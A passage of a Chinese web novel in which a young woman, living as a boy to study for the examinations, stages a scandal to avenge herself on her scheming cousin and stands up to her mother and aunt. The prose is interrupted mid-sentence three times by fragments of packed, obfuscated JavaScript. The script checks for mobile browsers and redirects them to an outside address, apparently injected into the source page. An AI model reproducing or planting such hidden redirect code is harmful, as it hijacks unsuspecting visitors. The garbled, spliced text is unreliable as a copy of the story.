杜青棠把枣泥酥放到桌上,屈指轻叩:“不管她,赶紧过来吃。” 姐妹四人各捻起一块,小心翼翼地捧着,牙齿细细地磨。 “原来枣泥酥是这个味道。” “甜甜糯糯,好吃!” 姑娘们吃着隔夜低价售卖的枣泥酥,仿佛在品尝人间珍馐。 ...... 分食完枣泥酥,杜青棠回屋翻找出大夏的字典——《说文解字》。 入皇子府后,她的精神出现问题,每次看到笔墨纸砚都会呼吸困难,肢体痉挛抽搐,严重时甚至认不清人。 粗略算来,她已有十多年不曾接触书本,如今再看大夏文字,只觉得陌生。 大夏的文字是繁体字,书写繁琐,既然要考书院,就得熟练掌握文字的书写,否则答题时出现错别字,岂不贻笑大方? 大夏的字典并非仅有《说文解字》一种,只是杜青棠囊中羞涩,元家“借”她束脩时施舍的态度已经让她倍感羞耻,她不愿向元家要钱买书,只能自食其力。 去年正月到三月,杜青棠抄了整整三个月的书,才下定决心买一本字典。 到书斋一问价格,发现她手里的钱只够买下《说文解字》,根本买不起其他收录更多文字的字典。 杜青棠早已记不清当时的窘迫,但她知道《说文解字》共收录了9363个字,每个字都有相应的字义解释,足以应付清苑书院的入院考核。 待她手头略微阔绰,再去买更好的字典。 翻开《说文解字》,杜青棠右手提笔蘸墨,悬于纸上时却发现手腕颤得厉害,手指也不受控制地抽动。 杜青棠紧抿唇角,用力深呼吸,强行按下手上的排斥反应,一边翻看字典,一边在纸上描摹。 门外,杜七丫探头探脑,很快缩回去:“棠哥儿在写字。” 杜六丫拿手指点了下她的鼻子:“你呀,明年都要及笄了,还是这么淘气。别打扰棠哥儿学习,赶紧干活。” 杜七丫轻哼,麻利地穿针走线,过一会儿忍不住说话:“你们说,我跟棠哥儿学认字怎么样?” 杜五丫蹙眉:“棠哥儿读书识字是为了考取功名,咱们姑娘家学了又有什么用?” 杜六丫和杜八丫点头:“五姐说的对。” 杜七丫嘴巴撅得能挂油壶,那些个臭男人可以读书,她为什么不能? 她又不是奔着考科举去的,碍不着他们什么。 但她到底没再说下去,闷头绣花。 门内,杜青棠听着四个姑娘自以为的窃窃低语,笔下微顿。 ...... 却说元氏夺门而出,越想越委屈,脑子一热去了元家。 朱氏知道杜五丫去城里,惦记元氏手里的银子,耐着性子听她哭诉自己命苦,哭诉儿女不孝。 这一哭,就哭了两个时辰。 朱氏:“......” 元平:“.......” 暮日西斜,家家户户的烟囱升起炊烟。 元平盘在炕上抽旱烟,不动声色咳了一声,朱氏会意,打断元氏:“钱呢?” 见元氏表情不自然,元平卖惨:“前几天下地,回来后腰疼腿也疼,路都走不了......” 元氏心疼得不行,终于说实话:“被棠姐儿拿去了。” 朱氏拍桌:“死丫头翅膀硬了,也不看是谁供她读书!” 元氏愧疚难安,忙不迭向他们保证:“天黑之后我一定让棠姐儿过来,别再下地了,回头我想办法送点银子来。” 元平和朱氏的脸色这才由阴转晴。 元氏走后,朱氏去找元盛:“晚上你给杜青棠一点教训,让她知道什么话该说,什么话不该说。” 元盛闻言,露出果然如此的表情。 元家人都觉得,杜青棠昨夜说出那番话,不过是在使小性子。 只要他们拿捏住元氏,牢牢把控杜家的钱财,以杜青棠的愚孝,绝对翻不出他们的五指山。 闹来闹去,最后还不是要向他们低头? “知道了,娘您快去做晚饭吧,看了一下午书,我都饿了。” 朱氏连连应声,冲灶房吆喝:“元雪,赶紧做饭!” 灶房里响起轻柔的女声:“在做了。” - 很快到了夜里,元盛躺在炕上,津津有味地看白天没看完的杂书,满篇淫词秽语,插画更是不堪入目。 “笃笃笃——” 轻微的敲门声打破寂静,元盛知道是杜青棠来了,放下书去开门。 夜色漆漆,为来人的面容笼上一层朦胧轻纱,短衫长裙,身姿窈窕,看得元盛心头一荡,情难自禁地握住对方的手。 掌心的手有些粗糙,但是元盛并未多想。 杜青棠生在农家,哪能像翠红楼的姑娘那样肤如凝脂。 来人顺着力道扑进元盛怀中,元盛一愣,今日的杜青棠似乎过分热情了。 其实元盛并非饥不择食之人,这是他第一次这么做。 而他之所以每月让杜青棠穿裙子,是为了驯服。 他要让杜青棠知道,是谁让她读书,是谁让她接触到更广阔的天地。 他是她的天,他可以将她捧上天,也可以让她重重摔下去。 元盛定了定心神,低声道:“先进门......” “你们在干什么?” 尖利的女声刺破夜空,元盛心中大骇,被发现了! “阿盛,你居然背着我与旁人卿卿我我?我倒要看看是哪个贱人这么不要脸!” 女子冲上前,元盛看到一张陌生而又沧桑的妇人面庞。 元盛:“?” “你有病吧,我不认识......” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14899153|160039||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >话未说完,怀中响起愤怒的人声:“盛郎,今夜我瞒着父亲来见你,原本是想给你一个惊喜,没想到你竟背着我有了旁人!” 元盛一脸懵地低头,这一次,他看清了怀中之人的模样—— 穿红戴绿,浓妆艳抹,说话间猩红的嘴唇张合,像是吃人的妖怪张开血盆大口。 但这不是重点。 重点在于此人青色的胡茬和显眼的喉结。 胡茬? 喉结? 元盛虎躯一震,触电般甩开陌生女......男子的手。 火光电石间,他好像明白了什么。 “该死,中计了!” 可惜对方没有给他反驳的机会。 “盛郎,你居然推开我?”乔装改扮的男子捏着嗓子,语气中满是难以置信,“你我曾月下对拜,约定结为夫妻,难道这一切都是假的?那些年的海誓山盟,只爱我一人也是假的?” “罢了!罢了!从今往后,我窦妮婉与你元盛情断义绝!”窦妮婉啜泣着掩面而去。 “给我等着,回来再找你算账!”女子上去就是一记断子绝孙脚,去追窦妮婉,“跑什么?给我站住!” 躲在暗处守株待兔的陈叔:“!!!” 躲在另一边看热闹的包叔:“!!!” ...... “啊啊啊疼死我了!” 元盛疼得满地打滚,哀嚎不止。 黑暗中,陈叔和包叔嘴巴张得可以塞下两个鸡蛋。 苍天见证,他们只是好奇心作祟,单纯想要瞧个热闹,才会躲在元家外面守株待兔。 怎么也没想到,元盛居然脚踩两条船,同时跟两个女人纠缠不清。 这也就罢了,他居然还与人无媒苟合! 真是好一出大戏! 两人隔空对视,眼神交流—— 走还是留? 走! 俺也一样! 元家的热闹已经看得差不多,比起元盛是否被那一脚踢得断子绝孙,他们更想知道元盛的两个相好到底是怎么一回事。 希望能赶得上。 他们不再管元平的死活,往两人离开的方向拔足狂奔。 如来佛祖观音菩萨三清道长保佑,还真让他们赶上了! 村口的老槐树下,两抹身影厮打在一起,抓脸扯头发,互不相让。 “阿盛爱的人是我!” “盛郎曾指天发誓,说他最爱的是我,才不是你这个老虔婆!” “阿盛说他就喜欢年纪大的,尤其是我这种比他大了三十岁的!” “盛郎怜惜我体弱无法生育,甚至向我承诺,待他娶妻生子,为元家开枝散叶,就随便找个理由休了那女人,与我双宿双飞。”窦妮婉冷笑,“你一四旬老妇,怕是早已无法为盛郎生儿育女,他可曾与你说过这话?” 从陈叔的视角,女子泪流满面,颤声问:“此话当真?” 窦妮婉道:“骗你作甚?早在三年前,我便与盛郎成亲,你侬我侬,恩爱甜蜜......” 女子不愿接受情郎寡情薄幸的事实,失声痛哭,掩面而去。 “可别想不开寻死。”窦妮婉赶紧追上去。 阴凄凄的哭声越来越远,陈叔磨牙:“这元盛忒不是个东西,真想抽死他!” 包叔拳头捏得咔咔响:“不行,我得让所有人都知道这个畜生做的混账事,绝不能让他嚯嚯了好人家的姑娘!” 两人对视,瞬间达成默契。 5. 005 闹剧结束,陈叔和包叔没热闹可看,各自打道回府。 杜青棠躲在暗处,直到那对夫妻取走放在石头下的银子才离开。 除去准备服化道的钱,剩下的银子足以让他们快速安顿下来,与此同时,杜青棠也利用他们达成了目的。 一桩双赢的交易。 今夜这场戏只是开胃菜,读书人最看重功名和声誉,杜青棠要一步步毁掉元盛最在意的东西,就像元盛第一世毁掉她那样。 以牙还牙,以眼还眼才是最佳复仇方式。 她也不怕元家人打上门来,谁能证明那对夫妻是她找来的? 没有证据,一律视为疯狗乱咬人。 途径元家,杜青棠看着气派的砖瓦房,想到杜家破旧的黄泥房,第一百零一次想要把元氏锤进墙里,抠都抠不下来。 元氏送出去的银子暂且寄存在元家,她很快就会让那群趴在杜家人身上吸血的水蛭十倍百倍地还回来。 回到杜家,四个姑娘已经熄灯歇下,唯独灶房点着昏黄油灯,元氏在饭桌前做针线,等杜青棠回来。 杜青棠进门,元氏立刻迎上来:“怎么样?盛哥儿可原谅你了?” “我没见到他。”不待元氏变脸,杜青棠先发制人,“他的两个相好找上门,打得不可开交,我见元家乱成一锅粥,就先回来了。” 元氏失手摔了绣绷:“相好?” 杜青棠点头。 “会不会是误会?”元氏心存侥幸,“盛哥儿是个好孩子,怎么可能同时与两人相好。” 杜青棠当然知道是假的,但是不重要,陈叔和包叔相信就行了。 “随你怎么想。”杜青棠回自己屋,今晚她还有学习任务。 元氏跟在她身后:“年轻人谁没犯过错,只要盛哥儿跟她们断了,不再沾花惹草,你就忘了这些陈芝麻烂谷子的事......” 杜青棠转身,冷冷望着元氏:“闭嘴,出去。” 元氏:“棠哥儿......” 杜青棠语出惊人:“我再说最后一遍,你要是再说什么传宗接代,我就给你找个男人,要生你自己生,你去给杜家传宗接代。” 元氏臊得面红耳赤:“这怎么能行!我不能对不起你爹,我生是杜家的人,死是杜家的鬼......” “只要那孩子姓杜,也不算对不起我爹。”杜青棠似笑非笑,“不过话又说回来,你既然是杜家的人,为何嫁到杜家二十多年还惦记着娘家?你对不起杜家的列祖列宗,当心他们今天晚上过来找你。” 杜青棠说这话时语气森然,元氏忽觉后颈刮过一阵阴风,吓得面无人色。 接连几次吃瘪,她总算意识到杜青棠不会再像以前那样对她百依百顺,争辩的话说不出口,一时间泪如雨下。 杜青棠视若无睹,指向她身后:“出去,把门关上。” 元氏哽咽着退出去,“砰”的一声甩上门。 杜青棠:“......” 经此一遭,亲眼目睹元盛出丑的快意分毫不剩,杜青棠紧抿唇角,眼角眉梢俱是寒霜。 杜青棠用力呼吸,随后取出四书五经,坐在灯下翻开《论语》。 白天从县城回来,杜青棠已经翻完《说文解字》,捡回十之八九的记忆,打算今晚花几个时辰看完四书五经,不必深入解读,只是重温巩固一下。 杜青棠在现代时兴趣广泛,涉猎颇丰,其中就包括书法。 经过白天的艰难磨合,她已经克服身体的不适,右手提笔悬腕,挥洒间笔锋流畅,如行云流水,足以悦人眼目。 夜色已深,寒风呼啸着撞上墙体,黄泥房像行将就木的老人,发出“吱呀”呻.吟。 杜青棠专注翻阅,不时在纸上做记录。 “啊!” 黄泥房不隔音,元氏的尖叫刺破夜空,杜青棠手一抖,墨水滴落在宣纸上,晕开大片墨痕。 “你不要过来!” “出去!都给我出去!” “我没有对不起杜家的列祖列宗,我是平哥儿大姐,照顾他不是应该的吗?” “救命!救命啊!” 杜青棠眉梢微挑,心情愉悦,双眼长时间在灯下看书的不适都消减许多。 她跳过墨渍继续记录,直到半个时辰后才停笔。 热水在锅里温得久了,早就已经凉透,杜青棠不想洗冷水,坐在灶膛前捣鼓了好一会儿,脸上熏得乌漆嘛黑,磕磕绊绊把水烧热,洗漱后躺在铺着麦秸的炕上,两个呼吸就睡得不省人事。 - 翌日,金乌东升。 朱氏顶着乌青的眼圈起床,元雪已经在灶房做早饭。 昨夜那场闹剧朱氏憋了一肚子的气,看谁都不顺眼,不管三七二十一,照着元雪的后背噼里啪啦抽了好几下。 元雪痛呼,唯恐惹恼朱氏引来更重的体罚,弓起后背低声喘气,眼里的泪珠摇摇欲坠,混合着麻木,始终不曾落下。 “赔钱货,赶紧做饭!” 元盛还没起,朱氏在院子里转几圈,嘴里咕咕哝哝:“村里人都睡得早,应该没听到我家的动静吧?” “一定是杜青棠那个死丫头搞的鬼,看我待会儿不扒了她的皮!” 还有元氏,嘴上一套背后一套,就该撕烂她的嘴,让她言而无信,还联合杜青棠毁坏盛哥儿的名声。 朱氏恨恨想着,做足心理准备,抽出门栓打开院门,眼观六路耳听八方,蹑手蹑脚地走出去。 元家左右住着同族,一个是元平的堂哥,另一个是元平的五叔。 这会儿坐在门槛上抽旱烟的正是元平的五叔,浑浊的眼上下打量朱氏,看得她心惊肉跳。 “......五叔?” 元五叔在门框上敲了敲烟杆:“盛哥儿这些年读的书是不是都读到狗肚子里去了?无媒苟合,脚踩两条船,你让元家的小子们以后还怎么娶媳妇?” 朱氏心里一咯噔,打死不认账:“五、五叔你在说什么,我、我怎么听不懂?” “这事儿从村头传到村尾,全村人都知道了,你真以为昨天晚上我什么都没听到?”元五叔眉头皱得能夹死苍蝇,啐了朱氏一口,“当儿子的不要脸,当娘的也是。” 从村头传到村尾? 全村人都知道了? 朱氏眼前一黑,尖叫着倒地,后脑勺磕到门槛上,“咣当”一声响。 ......

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14899154|160039||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 杜青棠打开门,陈叔正绘声绘色地说着昨夜的见闻。 “那个女人说她三年前就已经跟盛哥儿结为夫妻,还说等盛哥儿娶了媳妇,给元家传宗接代,就随便找个理由休了那婆娘,与她双宿双飞。” “嚯!真的假的?” “乡里乡亲几十年,你们可曾听我说过一句假话?” “还真没有。” “那不就得了,我可是亲耳听到的,比真金白银还真。”陈叔捧着碗阴阳怪气,“盛哥儿真是了不得,脚踩两条船也就罢了,竟还背着咱们与人无媒苟合,私定终身。” 看热闹的村民哈哈大笑。 “元盛看着人模狗样,做出来的事情连畜生都不如。” “前阵子我二姑托我给她闺女和元盛说媒,幸亏我忙忘了,不然就是害了我妹子。” “拼死拼活给他生孩子,最后还要无故被休,除非脑子坏了才会把闺女嫁去元家。” “可不是!” 元氏听着村民的议论,仅存的那点侥幸都没了。 盛哥儿可是要跟棠姐儿在一块儿的,他抛弃棠姐儿另寻相好,这不是要棠姐儿的命么? 元氏心中难安,挤进人群到最前面:“陈老哥,你看到那两个人长啥样了吗?” “是不是全都如花似玉?”有村民问。 陈叔表情一言难尽,摇头撇嘴:“才不是,一个看不清脸,不过声音挺好听,另一个跟盛哥儿他娘差不多大,满脸褶子......” 这当头一棒敲得元氏眼冒金星,眼泪哗哗流。 众人看在眼里,唏嘘不已。 “元氏真把元盛当亲儿子了,五丫割麦子手掌差点被削成两截也没见她哭成这样。” “不愧是老元家的,脑子都不好。” “陈老哥你继续,我还没听够呢。” 不待陈叔继续,朱氏暴怒的声音由远及近:“说个屁!压根没有的事,姓陈的你再敢胡说八道,看我不撕烂你的嘴!” 陈叔看着气势汹汹的朱氏和元平,鄙夷道:“若想人不知,除非己莫为,又不是我让元盛无媒苟合。” 众人:“噗——” 元平气得仰倒,抡起拳头砸向陈叔。 陈叔数十年如一日地做重活累活,纵使元平体型肥硕,他也丝毫不惧,一抓一推,元平摔得四仰八叉,乌龟似的翻不了身。 “啊!我跟你拼了!”朱氏大叫,冲向陈叔。 陈叔不跟女人动手,好在他媳妇胡氏在场,立马撸起袖子,与朱氏厮打在一起。 你挠我一下,我踹你一脚,战况十分激烈。 “元平跟他媳妇太不要脸了,明明是元盛做错了,咋还找陈老哥的麻烦。” “他们又不是第一次这么不讲理。” “盯着元盛婚事的人不少,回头我得好好宣传一下,免得哪家姑娘被这龟孙害了。” “今天我要回娘家,正好把这事儿告诉村里人......” 杜青棠嘴角勾起不甚明显的弧度,今日过后,她算是顺利度过了身份危机。 村民们的态度也在她预料之中,只在桃源村声名狼藉有什么意思,她要让元盛在整个清苑县出名。 6. 006 朱氏和胡氏的厮打进入白热化阶段,两人满脸血印子,衣服被撕成了门帘,破破烂烂挂在身上。 元平和陈叔也不遑多让,前者为了元盛的“清白”豁出去了,以超乎常人的体重把陈叔压在地上不得动弹。 包叔及时赶来,将陈叔解救出来,两个人合力锤得元平嗷嗷叫。 尽管是好心,但是杜青棠并不同情胡氏还有陈叔、包叔,第一世如果不是他们散播流言,她也不会深陷舆论,杜八丫更不会死。 “棠哥儿......” 杜青棠无视元氏的欲言又止,转身回屋看书。 毕竟不是初学者,经过好几个时辰的不懈努力,她已经重新掌握大夏的文字,但是还不够熟练,需要多看多练。 杜青棠徜徉在书海之中,也就不知道元氏跑去元家打听虚实。 “陈老哥说的是真的吗?盛哥儿早已与人成亲?” 朱氏给脸上药的动作一顿,气极反笑:“你跟杜青棠联起手来污蔑盛哥儿,还有脸跑上门看我家的笑话?” 元氏满头雾水:“我何时污蔑盛哥儿?” 朱氏见元氏还在装傻充愣,把装药粉的瓶子砸到她脸上,左右开弓,噼里啪啦给了她几个巴掌:“给我滚!” 元氏捂着脸嘤嘤哭,灰溜溜地离开。 朱氏越想越气,实在咽不下这口气,操起烧火棍直奔杜家。 杜家,杜青棠正蹲在水井旁杀鱼。 隔壁杜家三叔公的儿子捞了些鱼虾,特意送来一条鲢鱼和一条鲤鱼。 四个姑娘都在干活,腾不出手,杜青棠练了几张大字,手腕有些酸,便停下休息,打算把鱼杀了,中午就吃这个。 杜青棠手法熟稔地杀鱼,内脏丢去喂鸡。 “棠哥儿,水打好了。”杜七丫把半盆井水放到她手边。 杜青棠把鱼洗干净,杜七丫打水,冲洗菜刀上的血。 朱氏赶来杜家,见她这般悠然自得,还有心情吃肉,顿时火冒三丈:“杜青棠!” 杜青棠抬眸,手起刀落砍下鱼头:“舅母找我有事?” 成人手臂长的鱼身可以红烧,等会儿去村口的刘童生家买块豆腐,一碗鱼头豆腐汤能鲜掉舌头。 正盘算着,鱼尾突然弹了下,杜青棠一时不察,鱼身脱手飞出去,正好砸到朱氏脚边。 杜七丫惊呼,杜青棠闪电般出手——持刀的那只手,刀锋凌厉,眨眼间削下朱氏的一片裙摆,擦着她的布鞋砍进泥里,入泥三分。 “啊!” 若非朱氏闪躲及时,一蹦三尺高,怕是要被削去半个脚掌。 朱氏正要开骂,抬头对上杜青棠明晃晃写着“故意”二字的眼睛,心脏猛一缩。 死丫头莫不是被什么脏东西附身了? 眼神阴气森森,像是要把她剁成肉泥。 看一眼杜青棠手里锃亮的菜刀,再看自己手里的烧火棍,朱氏打了个寒颤,掉头就跑。 失策了,她也应该带一把刀过来。 万一死丫头发疯砍人,她可以说毫无反抗之力,说不定还会命丧当场。 她可惜命了,她还要长命百岁,看盛哥儿考状元当大官,绝不是怕了死丫头! 朱氏来了又走,杜八丫咦了一声:“舅母这么快就走了?” 杜六丫抱着柴火路过:“我以为她又要像以前那样,把家里搞得一团乱才走。” 杜七丫笑嘻嘻:“她手里拎着烧火棍,肯定是来找茬的,可谁让咱们棠哥儿厉害,把她吓跑了呢。” 杜五丫好奇:“怎么吓的?” 杜七丫故意夸大说辞,说杜青棠如何如何威风,使她成功收获三双充满钦佩的眼神。 杜青棠一手抓鱼,一手倒了盆里的血水,用清水冲洗:“舅母欺软怕硬,态度强硬一点就行,杀鸡焉用牛刀?” 元氏也是如此,只能说姑嫂二人不愧出自同一家。 杜八丫看着杜青棠平静的侧脸,不知是不是她的错觉,总觉得棠哥儿冷淡了不少。 她这么想,也这么问了。 “棠哥儿,可是在私塾遇上什么难事了?” 杜青棠没有跟杜家人说她离开私塾的事儿,打算等考入书院之后再说:“问这个做什么?” 杜八丫斟酌片刻,小心翼翼开口:“你这次回来好像不太开心。” 棠哥儿生得瘦弱,寡言少语,她担心棠哥儿在私塾受欺负。 杜青棠垂眸,面色如常:“没有,我很好。” 杜八丫松了口气:“那就好。” “六姐,麻烦你去买一块豆腐。”杜青棠把两条鱼送去灶房,递给杜六丫两文钱,“中午吃鱼头豆腐汤。” 杜六丫咕咚咽了口唾沫:“好,我这就去!” 杜五丫把杜青棠推出灶房,挽起袖子露出细瘦小臂:“棠哥儿你去读书,这里交给我跟你八姐。” 杜七丫自告奋勇:“我来烧火!” 杜青棠随她们去,回自个儿屋里练字,直到杜八丫敲门:“棠哥儿,吃饭了。” “来了。”杜青棠放下毛笔,用木头自制的镇纸压住宣纸以防被吹跑,先去外面洗手,然后才去灶房吃饭。 四个姑娘忙进忙出,元氏顶着苦瓜脸坐在那儿,幽怨地看杜青棠。 杜青棠只当没看见,帮忙打下手。 鱼头豆腐汤出锅,奶白的汤汁漂着葱叶,鲜美诱人。 红烧鱼里面加了咸菜,除此之外还有炒青菜和凉拌萝卜。 “今天的午饭可真丰盛!”杜七丫已经迫不及待想要尝尝了。 杜青棠刚拿起筷子,元氏突然发难:“谁让你们做这么多菜?一个二个跟饿死鬼一样,也不知道省着点,两条鱼一天吃完,明天吃啥?” 杜青棠突然没了胃口,烦躁感在这一刻抵达顶峰:“不想吃就别吃了。” 元氏喉咙一哽。 “我不信五姐八姐做饭的时候你没看见。”杜青棠一把夺过元氏的碗,把她那份杂粮饭分给自己和四个姑娘,“我们正是长身体的时候,不可能委屈自己少吃,那就只能委屈你一下,把你那份平摊给我们了。” 杜五丫杜六丫和杜八丫面面相觑,不敢有所动作。 杜七丫胆子大,捧着碗吃得乐呵。 杜青棠继续向元氏开炮:“家里好不容易开荤,大家心里高兴,你闹什么闹?不吃就别吃了,以后都别吃了,饿一饿脑子清醒点,省得一天到晚净做糊涂事。” “我今天把话放这儿,五姐六姐七姐八姐你们作证,从今往后只要你闹腾一次,就一天饿着肚子不准吃饭。” “现在立刻马上,给我出去,我们要吃饭了。” 杜青棠无情的话语令元氏如坠冰窟,她看着空空如也的饭碗,再看女儿们或冷漠或快意或无视的神情,一颗心像是浸在冰水里,从头冷到脚。 “我、我是你娘,你这是不孝,是要被人戳脊梁骨的,你这么做就不怕你爹怪罪你?” 杜青棠招呼姑娘们吃饭,一边用魔法打败魔法:“在家从父,出嫁从夫,夫死从子,咱爹死了,我就是一家之主,你不听我的听谁的?” “啊!” 元氏崩溃到了极点,把碗一推,夺门而出。 杜八丫心肠软,跟杜青棠小声蛐蛐:“棠哥儿,咱们这么做是不是有点太......” 杜七丫翻了个白眼,哼哼唧唧:“八丫你个呆子,棠哥儿只是罚娘一天不准吃饭,可是娘这么多年都没让咱们吃上一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14899155|160039||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 顿饱饭,还把咱们辛辛苦苦挣的钱送去舅舅家,真要论起来,娘才是最过分的那个。” 杜五丫和杜六丫对视,默契地保持沉默。 又或许是无声的赞同。 饭桌上没了元氏这个扫兴的存在,大家吃鱼肉喝鱼汤,酸菜和豆腐吃得一点不剩,青菜和萝卜也都扒拉得一干二净。 正如杜青棠所说,她们正是长身体的时候,常年营养不良,这厢吃上荤腥,自然狼吞虎咽,怎么都吃不够。 就连剩下的那点汤汁,也被四个姑娘蘸饼子吃了。 吃饱喝足,杜青棠漱了口,回房间继续练字。 - 杜青棠很快熟练掌握繁体字,之后又深入解读了四书五经。 这天一早,杜青棠取下房梁上元氏为元家腌制的腊肉,割下巴掌大一块,拎着去了刘童生家。 杜青棠读过书,也接受过针对性的科举教育,但那已经是几十年前的事了,早已生疏遗忘,为了保证顺利考入清苑书院,她决定给自己找个日抛老师。 刘童生之所以止步童生功名,是因为考院试的时候被马车撞断了腿,没能及时医治,留下终身病根,论起学问,其实要比李先生更胜一筹。 有他指点,肯定比摸着石头过河好。 杜青棠来到刘家,刘童生的媳妇孙氏正在院子里筛黄豆,见到她笑着问:“棠哥儿来买豆腐?” “我来找刘阿公。”杜青棠开门见山道。 孙氏留意到她手里的腊肉,心领神会地努努嘴:“他在正屋,自个儿过去吧。” 杜青棠道谢,进门后奉上腊肉,直接说明来意。 刘童生放下书本,语气不紧不慢:“你要考清苑书院,想让我指点一二?” 杜青棠神色恭谨:“正是。” “为何不继续留在李家私塾?”刘童生话语直白,“据我所知,李举人的学问很是不错。” 因为师生之间也是需要缘分的,她和李先生不合适。 杜青棠心思流转,只道:“听说清苑书院的前五名可以免除束脩,我想试试。” 刘童生对杜家的情况不说十分了解,也知道个大概,闻言轻叹一口气:“那你现在就写一篇,让我看看你的水平如何。” 他想了想,取《论语》学而篇中的一句:“君子不重则不威,学则不固。【1】” 根据对这句话的理解,写出一篇至少三百字的四书文。 君子不自重那么就不能让人敬畏,学问也不稳固。【2】 这句话的含义十分明了,重在强调君子的品德和修养,回答起来自然也没什么难度。 杜青棠答得很快,刘童生看过之后也很满意。 “不错,就这么写。”刘童生赞道,又布置一道五经题和策论题。 杜青棠认真答完,刘童生还算满意:“今天就到这里。” “那学生明日再来叨扰。”杜青棠语气中有几分试探。 刘童生捻须:“嗯,去吧。” 杜青棠起身行礼,带着刚写的三篇文章离开刘家。 刚出门,身后传来一声暴喝:“杜青棠,你给我过来!” 循声望去,元盛好似怨灵附身,眼里充斥的怒火似要将她烧成灰烬。 杜青棠掉头就走。 她又不傻,疯狗病是会传染的。 元盛急了,挥拳冲向她:“杜青棠,你别敬酒不吃吃罚酒!” 眼看拳头就要落下,杜青棠矮身避开,趁其不备,猛地踹上他的膝弯。 “啊!” 这一脚用了十成十的力道,元盛双腿一软,啪叽跪在杜青棠面前。 杜青棠趁他疼得起不了身,又补上一脚,这下元盛直接五体投地。 7. 007 经过几个时辰的传播发酵,元盛的丑闻早已传得人尽皆知。 不仅桃源村,其他村的村民也都有所耳闻,一个个跑来桃源村看热闹。 “让我看看与人无媒苟合还要祸害好人家姑娘的混账长什么样。” 元盛又惊又怒,缩头乌龟一样躲在家里,生怕被人逮到,成为众矢之的。 得知朱氏去杜家找杜青棠的麻烦,元盛翘首以盼,结果她很快就灰溜溜地回来了。 问及缘由,朱氏摔了烧火棍:“那死丫头不知发什么疯,居然敢提刀砍我。” 元盛咬牙切齿:“逃得了和尚逃不了庙,待我明日再报此仇!” 朱氏和元平对元盛马首是瞻,只好暂时作罢。 今早天未亮,元盛便离家前往私塾。 不待他去找杜青棠算账,他的同窗——关系不好,积怨甚深的那种找上来:“元盛啊元盛,真没想到你竟然是这种人。” 李家私塾有住在桃源村附近的同窗,本着看热闹不嫌事大的心态,将元盛之事宣扬开来,如今已经无人不知,无人不晓。 这一刻,元盛只觉天塌地陷。 他无法忍受同窗异样的目光,以身体不适为由向李先生告假。 李先生看着他欲言又止,最终化为一声叹息,显然失望至极:“这样也好,还望你尽快处理好私事,莫要越陷越深。” 元盛臊得满脸通红,恨不得找个地洞钻进去。 更让他难以接受的是,李先生还说:“昨日县令大人派人前来,让为师转告你,两月后的文会不必去了。” 元盛大惊失色:“为何?” 清苑县每年都会举办一场文会,主办人通常是县令大人。 全县上下的读书人都以收到文会的请柬为荣,他们为了一封请柬打破脑袋,只为在文会上有一席之地。 除了清苑书院的学生,唯有李家私塾的学生可以全体出席文会。 早在今年中旬,元盛就在为文会做准备,只为一鸣惊人,得到县令大人的另眼相待。 结果现在告诉他,县令大人亲自下令,不允许他参加文会。 这一消息无异于晴天霹雳,让元盛两耳失聪眼前发黑。 李先生坦言道:“君子当洁身自好,你的所作所为实在太过恶劣,连县令大人都有所耳闻。” 元盛不知道他是怎么离开的李家私塾,刚回到桃源村,就看到杜青棠从刘童生家出来。 他来不及思考本该在私塾的杜青棠为何还在村里,身体快过大脑,暴喝一声:“杜青棠!” 只要杜青棠承认她对自己的陷害,便可瞬间扭转风向,他恢复往日的美名,令县令大人改观,许他参加文会的资格。 如若不然,他不介意将杜青棠的秘密广而宣之。 谁料杜青棠充耳不闻,嚣张的态度让元盛恼怒不已,化怒火为动力,打算给她点颜色瞧瞧。 然后他就被杜青棠一脚踹中膝弯,先是下跪,然后又来了个五体投地。 “杜青棠,你敢打我?!”元盛很是难以置信。 看他这副暴跳如雷的模样,杜青棠就猜到她的安排奏效了。 其实她也没做什么,只是收买了一个小乞丐,让他在县令路过时大声道出元盛的“光辉事迹”而已。 “打你就打你,难道还要挑时间?”杜青棠居高临下地看他,目露嫌恶,“你若再来烦我,我就把你给李薇写情诗的事情告诉李先生。” 元盛如遭雷击,话不过脑脱口而出:“你、你怎么知道?” 当然是因为前世。 元盛这个混球不仅流连青楼楚馆,还喜欢卖弄文采,诱骗良家女子,李先生的女儿李薇就是其中之一。 第一世,元盛凭一首情诗赢得李薇的芳心,后来李薇到了说亲的年纪,不肯嫁给李先生看好的青年俊才,死活要嫁给元盛。 而彼时的元盛早在参加府试时勾搭上了保定府通判的嫡女,哪里愿意娶一个教书先生的女儿。 李薇无法承受情郎移情别恋的打击,当夜悬梁自尽。 李先生白发人送黑发人,一夕之间仿佛苍老了二十岁,不久后也去世了。 元盛就是个名副其实的人渣,害了那么多人,合该被千刀万剐。 过几日再去县城,杜青棠打算给李先生透点口风。 